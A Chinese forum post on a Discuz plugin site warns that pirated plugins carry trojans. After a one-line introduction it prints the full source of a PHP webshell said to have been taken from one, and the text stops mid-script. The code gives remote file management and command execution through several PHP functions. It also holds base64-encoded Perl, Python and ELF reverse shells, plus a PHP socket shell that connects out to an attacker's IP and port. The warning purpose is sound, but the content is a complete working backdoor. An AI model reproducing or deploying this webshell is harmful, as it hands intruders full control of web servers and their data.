去评论
dz插件网

震惊：从某盗版插件里扒出的木马文件，你在人家面前裸奔

饾暦饾枎饾枒饾枏饾枂饾枅饾枑
2023/03/13 11:59:11
传送门：安全小知识：为什么使用盗版插件容易被挂马



上图，木马文件运行后的效果，对方想干什么都可以...这不是裸奔是什么？

木马代码如下：
  1. <?php@error_reporting(E_ERROR);@ini_set('display_errors', 'Off');@ini_set('max_execution_time', 3600);header("content-Type: text/html; charset=gb2312");function strdir($str){    return str_replace(array(        '\\',        '//',        '%27',        '%22'    ), array(        '/',        '/',        '\'',        '"'    ), chop($str));}function chkgpc($array){    foreach ($array as $key => $var) {        $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);    }    return $array;}define('MYFILE', strdir(__FILE__));define('THISDIR', strdir(dirname(MYFILE) . '/'));$rootdir = strdir(strtr(MYFILE, array(    strdir($_SERVER['PHP_SELF']) => '')) . '/');$rootdir = strpos($rootdir, 'eval()') ? array_shift(explode('(', $rootdir)) : $rootdir;define('ROOTDIR', strdir($rootdir . '/'));define('EXISTS_PHPINFO', getinfo($password) ? true : false);if (get_magic_quotes_gpc()) {    $_POST = chkgpc($_POST);}if (function_exists('mysql_close')) {    $issql = 'MySql';}if (function_exists('mssql_close'))    $issql .= ' - MsSql';if (function_exists('oci_close'))    $issql .= ' - Oracle';if (function_exists('sybase_close'))    $issql .= ' - SyBase';if (function_exists('pg_close'))    $issql .= ' - PostgreSql';$win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;$msg = VERSION . ' - ' . date('Y-m-d H:i:s 星期N', time());function filew($filename, $filedata, $filemode){    if ((!is_writable($filename)) && file_exists($filename)) {        chmod($filename, 0666);    }    $handle = fopen($filename, $filemode);    $key    = fputs($handle, $filedata);    fclose($handle);    return $key;}function filer($filename){    $handle   = fopen($filename, 'r');    $filedata = fread($handle, filesize($filename));    fclose($handle);    return $filedata;}function fileu($filenamea, $filenameb){    $key = move_uploaded_file($filenamea, $filenameb) ? true : false;    if (!$key) {        $key = copy($filenamea, $filenameb) ? true : false;    }    return $key;}function filed($filename){    if (!file_exists($filename))        return false;    $name  = basename($filename);    $array = explode('.', $name);    header('Content-type: application/x-' . array_pop($array));    header('Content-Disposition: attachment; filename=' . $name);    header('Content-Length: ' . filesize($filename));    @readfile($filename);    exit;}function showdir($dir){    $dir = strdir($dir . '/');    if (!is_readable($dir))        return false;    $handle = opendir($dir);    $array  = array();    while ($name = readdir($handle)) {        if ($name == '.' || $name == '..')            continue;        $path = $dir . $name;        $name = strtr($name, array(            '\'' => '%27',            '"' => '%22'        ));        if (is_dir($path)) {            $array['dir'][$path] = $name;        } else {            $array['file'][$path] = $name;        }    }    closedir($handle);    return $array;}function deltree($dir){    $handle = @opendir($dir);    while ($name = @readdir($handle)) {        if ($name == '.' || $name == '..')            continue;        $path = $dir . $name;        @chmod($path, 0777);        if (is_dir($path)) {            deltree($path . '/');        } else {            @unlink($path);        }    }    @closedir($handle);    return @rmdir($dir);}function postinfo($array){    $infos = array(        function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"),        function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")    );}function size($bytes){    if ($bytes < 1024)        return $bytes . ' B';    $array = array(        'B',        'K',        'M',        'G',        'T'    );    $floor = floor(log($bytes) / log(1024));    return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));}function find($array, $string){    foreach ($array as $key) {        if (stristr($string, $key))            return true;    }    return false;}function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now){    $handle = opendir($dir);    while ($name = readdir($handle)) {        if ($name == '.' || $name == '..')            continue;        $path = $dir . $name;        if (is_dir($path)) {            if ($fit && in_array($name, $fit))                continue;            if ($ran == 0 && is_readable($path))                scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now);        } else {            if ($inc && (!find($inc, $name)))                continue;            $code = $tye ? filer($path) : $name;            $find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)), 'M') ? false : (strpos($code, $key) > -1));            if ($find) {                $file = strtr($path, array(                    $now => '',                    '\'' => '%27',                    '"' => '%22'                ));                echo '<a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';                flush();                ob_flush();            }            unset($code);        }    }    closedir($handle);    return true;}function antivirus($dir, $exs, $matches, $now){    $handle = opendir($dir);    while ($name = readdir($handle)) {        if ($name == '.' || $name == '..')            continue;        $path = $dir . $name;        if (is_dir($path)) {            if (is_readable($path))                antivirus($path . '/', $exs, $matches, $now);        } else {            $iskill = NULL;            foreach ($exs as $key => $ex) {                if (find(explode('|', $ex), $name)) {                    $iskill = $key;                    break;                }            }            if (strpos(size(filesize($path)), 'M'))                continue;            if ($iskill) {                $code = filer($path);                foreach ($matches[$iskill] as $matche) {                    $array = array();                    preg_match($matche, $code, $array);                    if (strpos($array[0], '$this->') || strpos($array[0], '[$vars['))                        continue;                    $len = strlen($array[0]);                    if ($len > 10 && $len < 150) {                        $file = strtr($path, array(                            $now => '',                            '\'' => '%27',                            '"' => '%22'                        ));                        echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';                        flush();                        ob_flush();                        break;                    }                }                unset($code, $array);            }        }    }    closedir($handle);    return true;}function command($cmd, $cwd, $com = false){    $iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;    $res   = $msg = '';    if ($cwd == 'com' || $com) {        if ($iswin && class_exists('COM')) {            $wscript = new COM('Wscript.Shell');            $exec    = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd);            $stdout  = $exec->StdOut();            $res     = $stdout->ReadAll();            $msg     = 'Wscript.Shell';        }    } else {        chdir($cwd);        $cwd = getcwd();        if (function_exists('exec')) {            @exec($cmd, $res);            $res = join("\n", $res);            $msg = 'exec';        } elseif (function_exists('shell_exec')) {            $res = @shell_exec($cmd);            $msg = 'shell_exec';        } elseif (function_exists('system')) {            ob_start();            @system($cmd);            $res = ob_get_contents();            ob_end_clean();            $msg = 'system';        } elseif (function_exists('passthru')) {            ob_start();            @passthru($cmd);            $res = ob_get_contents();            ob_end_clean();            $msg = 'passthru';        } elseif (function_exists('popen')) {            $fp = @popen($cmd, 'r');            if ($fp) {                while (!feof($fp)) {                    $res .= fread($fp, 1024);                }            }            @pclose($fp);            $msg = 'popen';        } elseif (function_exists('proc_open')) {            $env     = $iswin ? array(                'path' => 'c:\\windows\\system32'            ) : array(                'path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'            );            $des     = array(                0 => array(                    "pipe",                    "r"                ),                1 => array(                    "pipe",                    "w"                ),                2 => array(                    "pipe",                    "w"                )            );            $process = @proc_open($cmd, $des, $pipes, $cwd, $env);            if (is_resource($process)) {                fwrite($pipes[0], $cmd);                fclose($pipes[0]);                $res .= stream_get_contents($pipes[1]);                fclose($pipes[1]);                $res .= stream_get_contents($pipes[2]);                fclose($pipes[2]);            }            @proc_close($process);            $msg = 'proc_open';        }    }    $msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用' . $msg . '执行成功</h2>';    return array(        'res' => $res,        'msg' => $msg    );}function backshell($ip, $port, $dir, $type){    $key   = false;    $c_bin = 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIQECDQAAACkCgAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIlAcAAJQHAAAFAAAAABAAAAEAAACUBwAAlJcECJSXBAggAQAAKAEAAAYAAAAAEAAAAgAAAKgHAAColwQIqJcECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAACQAAAAIAAAANAAAAAQAAAAUAAAAAIAAgAAAAAA0AAACtS+PAAAAAAAAAAAAAAAAAAAAAAEEAAAAAAAAAdgAAABIAAABJAAAAAAAAAHkBAAASAAAAAQAAAAAAAAAAAAAAIAAAAFUAAAAAAAAAcgEAABIAAABqAAAAAAAAAJ8BAAASAAAANQAAAAAAAABZAQAAEgAAADsAAAAAAAAADgAAABIAAAApAAAAAAAAADwAAAASAAAAUAAAAAAAAAA9AAAAEgAAAF8AAAAAAAAAKwAAABIAAABkAAAAAAAAAG8AAAASAAAAMAAAAAAAAAD0AAAAEgAAABoAAAB4hwQIBAAAABEADgAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNvY2tldABleGl0AGV4ZWNsAGh0b25zAGNvbm5lY3QAZGFlbW9uAGR1cDIAaW5ldF9hZGRyAGF0b2kAY2xvc2UAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi4wAAAAAgACAAAAAgACAAIAAgACAAIAAgACAAIAAQAAAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAHwAAAAAAAAAcJgECAYDAACAmAQIBwEAAISYBAgHAgAAiJgECAcDAACMmAQIBwQAAJCYBAgHBQAAlJgECAcGAACYmAQIBwcAAJyYBAgHCAAAoJgECAcJAACkmAQIBwoAAKiYBAgHCwAArJgECAcMAABVieWD7AjoBQEAAOiMAQAA6KcDAADJwwD/NXiYBAj/JXyYBAgAAAAA/yWAmAQIaAAAAADp4P////8lhJgECGgIAAAA6dD/////JYiYBAhoEAAAAOnA/////yWMmAQIaBgAAADpsP////8lkJgECGggAAAA6aD/////JZSYBAhoKAAAAOmQ/////yWYmAQIaDAAAADpgP////8lnJgECGg4AAAA6XD/////JaCYBAhoQAAAAOlg/////yWkmAQIaEgAAADpUP////8lqJgECGhQAAAA6UD/////JayYBAhoWAAAAOkw////AAAAADHtXonhg+TwUFRSaLCGBAhowIYECFFWaDSFBAjoW/////SQkFWJ5VOD7AToAAAAAFuBw+QTAACLk/z///+F0nQF6Bb///9YW8nDkJCQkJCQVYnlU4PsBIA9uJgECAB1P7iglwQILZyXBAjB+AKNWP+htJgECDnDdh+NtCYAAAAAg8ABo7SYBAj/FIWclwQIobSYBAg5w3foxgW4mAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoaSXBAiFwHQSuAAAAACFwHQJxwQkpJcECP/QycOQjUwkBIPk8P9x/FWJ5VdTUYPsPInLx0QkBAAAAADHBCQBAAAA6E/+//9mx0XgAgCLQwSDwAiLAIkEJOi5/v//D7fAiQQk6H7+//9miUXii0MEg8AEiwCJBCToOv7//4lF5ItDBIPABIsAuf////+JRdC4AAAAAPyLfdDyronI99CNUP+LQwSDwAiLALn/////iUXMuAAAAAD8i33M8q6JyPfQg+gBjQQCjVABi0MEg8AEiwCJx/yJ0bgAAAAA86rHRCQIBgAAAMdEJAQBAAAAxwQkAgAAAOj9/f//iUXwjUXgx0QkCBAAAACJRCQEi0XwiQQk6HD9//+FwHkMxwQkAAAAAOgQ/v//x0QkBAAAAACLRfCJBCTozf3//8dEJAQBAAAAi0XwiQQk6Lr9///HRCQEAgAAAItF8IkEJOin/f//x0QkCAAAAADHRCQEgIcECMcEJIaHBAjoW/3//4tF8IkEJOig/f//g8Q8WVtfXY1h/MOQkJCQkJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw6kRAACD7Bzom/z//42DIP///4lF8I2DIP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlE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3AAAAJSXBAgAAAAAAAIQAO0AAAB0mAQIAAAAAAECFQADAQAAlJcECAAAAAAAAhAAFwEAAJSXBAgAAAAAAAIQACoBAACUlwQIAAAAAAACEAA7AQAAlJcECAAAAAAAAhAATgEAAKiXBAgAAAAAAQITAFcBAACwmAQIAAAAACAAFgBiAQAAAAAAAHYAAAASAAAAdQEAAAAAAAB5AQAAEgAAAIcBAACwhgQIBQAAABIADACXAQAAYIQECAAAAAASAAwAngEAAAAAAAAAAAAAIAAAAK0BAAAAAAAAAAAAACAAAADBAQAAdIcECAQAAAARAA4AyAEAAFiHBAgAAAAAEgANAM4BAAAAAAAAcgEAABIAAADjAQAAAAAAAJ8BAAASAAAAAAIAAAAAAABZAQAAEgAAABECAAAAAAAADgAAABIAAAAiAgAAeIcECAQAAAARAA4AMQIAALCYBAgAAAAAEAAWAD4CAAAAAAAAPAAAABIAAABQAgAAAAAAAD0AAAASAAAAYAIAAHyHBAgAAAAAEQIOAG0CAACglwQIAAAAABECEQB6AgAAwIYECGkAAAASAAwAigIAAAAAAAArAAAAEgAAAJoCAAAAAAAAbwAAABIAAACrAgAAtJgECAAAAAAQAPH/twIAALyYBAgAAAAAEADx/7wCAAC0mAQIAAAAABAA8f/DAgAAAAAAAPQAAAASAAAA0wIAACmHBAgAAAAAEgIMAOoCAAA0hQQIcwEAABIADADvAgAAdIMECAAAAAASAAoAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AZHRvcl9pZHguNTc5MwBjb21wbGV0ZWQuNTc5MQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGJjLmMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZmluaV9hcnJheV9lbmQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fcHJlaW5pdF9hcnJheV9lbmQAX19maW5pX2FycmF5X3N0YXJ0AF9faW5pdF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAY29ubmVjdEBAR0xJQkNfMi4wAGRhZW1vbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfZmluaQBfc3RhcnQAX19nbW9uX3N0YXJ0X18AX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfZnBfaHcAX2ZpbmkAaW5ldF9hZGRyQEBHTElCQ18yLjAAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABleGVjbEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABfX2Rzb19oYW5kbGUAX19EVE9SX0VORF9fAF9fbGliY19jc3VfaW5pdABhdG9pQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfX2Jzc19zdGFydABfZW5kAF9lZGF0YQBleGl0QEBHTElCQ18yLjAAX19pNjg2LmdldF9wY190aHVuay5ieABtYWluAF9pbml0AA==';    switch ($type) {        case "pl":            $shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K';            $file  = strdir($dir . '/t00ls.pl');            $key   = filew($file, base64_decode($shell), 'w');            if ($key) {                @chmod($file, 0777);                command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir);            }            break;        case "py":            $shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==';            $file  = strdir($dir . '/t00ls.py');            $key   = filew($file, base64_decode($shell), 'w');            if ($key) {                @chmod($file, 0777);                command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir);            }            break;        case "c":            $file = strdir($dir . '/t00ls');            $key  = filew($file, base64_decode($c_bin), 'wb');            if ($key) {                @chmod($file, 0777);                command($file . ' ' . $ip . ' ' . $port, $dir);            }            break;        case "php":        case "phpwin":            if (function_exists('fsockopen')) {                $sock = @fsockopen($ip, $port);                if ($sock) {                    $key  = true;                    $com  = $type == 'phpwin' ? true : false;                    $user = get_current_user();                    $dir  = strdir(getcwd());                    fputs($sock, php_uname() . "\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");                    while ($cmd = fread($sock, 1024)) {                        if (substr($cmd, 0, 3) == 'cd ') {                            $dir = trim(substr($cmd, 3, -1));                            chdir(strdir($dir));                            $dir = strdir(getcwd());                        } elseif (trim(strtolower($cmd)) == 'exit') {                            break;                        } else {                            $res = command($cmd, $dir, $com);                            fputs($sock, $res['res']);                        }                        fputs($sock, '[' . $user . ':' . $dir . ']# ');                    }                }                @fclose($sock);            }            break;        case "pcntl":            $file = strdir($dir . '/t00ls');            $key  = filew($file, base64_decode($c_bin), 'wb');            if ($key) {                @chmod($file, 0777);                if (function_exists('pcntl_exec')) {                    @pcntl_exec($file, array(                        $ip,                        $port                    ));                }            }            break;    }    if (!$key) {        $msg = '<h1>临时目录不可写</h1>';    } else {        @unlink($file);        $msg = '<h2>CLOSE</h2>';    }    return $msg;}function getinfo(){    global $password;    $infos = array(        $_POST['getpwd'],        $password,        function_exists('phpinfo'),        "\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"    );    if ($password != '' && md5($infos[0]) != $infos[1]) {        echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> ';        if (isset($_POST['groupcache'])) {            echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';        }        if (isset($_POST['forum'])) {            echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';            echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';            echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';            echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';            echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';        }        echo '<input type="submit" value=" O K "></form></center></body></html>';        exit;    }    if ((!isset($_POST['go'])) && (!isset($_POST['dir']))) {        if ($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3])            postinfo($infos[0]);    }    return $infos[2];}function subeval(){    if (isset($_POST['getpwd'])) {        echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">';    }    if (isset($_POST['groupcache'])) {        echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';    }    if (isset($_POST['forum'])) {        echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';        echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';        echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';        echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';        echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';    }    return true;}if (isset($_POST['go'])) {    if ($_POST['go'] == 'down') {        $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']);        if (!filed($downfile)) {            $msg = '<h1>下载文件不存在</h1>';        }    }}?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">* {margin:0px;padding:0px;}body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}a{color:#000000;text-decoration:none;vertical-align:middle;}a:hover{color:#FF0000;text-decoration:underline;}p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;}input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}input[type=submit], input[type=button] {height:21px;}.tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}.tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}.main {width:963px;margin:0 auto;padding:10px;}.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}.msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}.tables {width:100%;}.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}.tables td {background:#F9F6F4;height:19px;padding-left:2px;}</style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 